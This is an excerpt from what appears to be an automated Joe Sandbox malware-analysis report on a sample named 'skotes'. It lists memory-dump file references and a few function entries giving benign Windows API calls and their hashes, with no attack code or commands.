Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e52f90389c9b78b5241e65293f28714348a3b70421a36d725ae44cb1c8a6e9b8
Instruction ID: 6406fc842fd1b059b3e2f914f61e706430bdb79867e16bebae085f0f47fa78f9
Opcode Fuzzy Hash: e52f90389c9b78b5241e65293f28714348a3b70421a36d725ae44cb1c8a6e9b8
Instruction Fuzzy Hash: 19E086203AC34495F62836BE6946F3D77A4D7D5715F214424E728CA4928AE455505723

Function 00906D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00906D11
Sleep.KERNEL32(00007530), ref: 00906D25

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 90c81d45f0d92dcf978e35fcc0fb0b05647d42673ce11e337a6c116849bac86f
Instruction ID: 0d5ad44bed556babf57a3c23b0d5da1346608efc2a4ab331805409cfac3bfe5c
Opcode Fuzzy Hash: 90c81d45f0d92dcf978e35fcc0fb0b05647d42673ce11e337a6c116849bac86f
Instruction Fuzzy Hash: BFD08C347E8324BAF12007202C0BF66AA109B0AF05F24084073483F0D083E430008798

Function 008F8380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 008F8524

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: a722ec9ad93d419ba761d3e6ffc0bbaf573415f911685d868cdb4f803f0a1064
Instruction ID: 633108e9f410f16ab7a53f121d0f456ab8ab26083aeed3a937980c1e3116595f
Opcode Fuzzy Hash: a722ec9ad93d419ba761d3e6ffc0bbaf573415f911685d868cdb4f803f0a1064
Instruction Fuzzy Hash: E5510270D0421CDBEB24EB78CD45BEDBB74EB85314F5042A8E909E72C1EF349A848B95

Function 00927124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,0092705B,?,?,00000000,00000000), ref: 00927166

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 1d9154977d4a7fa038f470cb6eaf896cb1a910ed39e8af314daca98971bff387
Instruction ID: a2bf5f8f3939a0007416753036dd5182805afb6a6201420e014b7110c1e74f06
Opcode Fuzzy Hash: 1d9154977d4a7fa038f470cb6eaf896cb1a910ed39e8af314daca98971bff387
Instruction Fuzzy Hash: 8F112A7290810DEBDB10DFE5D980EDFB7BCAF09310F605262E911F2185EA30EA59CB61

Function 0092AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0092AC8D

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
